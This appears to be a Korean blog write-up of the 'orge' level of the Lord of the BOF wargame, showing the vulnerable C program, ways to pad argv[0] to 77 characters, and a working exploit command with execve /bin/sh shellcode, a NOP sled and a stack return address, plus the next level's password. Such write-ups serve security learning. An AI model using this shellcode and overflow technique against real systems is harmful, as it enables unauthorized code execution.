2011. 6. 2. 16:27

⊙ 문제의 소스를 보자)

[darkelf@localhost darkelf]$ cat orge.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orge

- check argv[0]

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// here is changed!

if(strlen(argv[0]) != 77){

printf("argv[0] error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ argv[0]의 길이를 77자로 맞추는 if문이 추가 되었습니다.

   

* 이름 길이를 77자로 맞추는 것을 외에는 틀려진 점이 없습니다.

1) 이름길이를 77자로 맞추는법.

① "./" 은 현재디렉토리를 의미하며 ".////" 이처럼 추가로 많이 와도 상관없습니다.

   

② 심볼릭 링크를 이용 (하드링크도 상관 없음) ("./"를 제외한 75자.)

# ln orge -s $(python -c 'print "a"*75"')


   

※ 그럼 이전과 같이 바로 확인 들어가 보도록 하죠.

$(python -c 'print "."+"/"*72 + "orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xb7\xfb\xff\xbf"')

성공!!!


 

   

darkelf : "kernel crashed"

   

Posted by devanix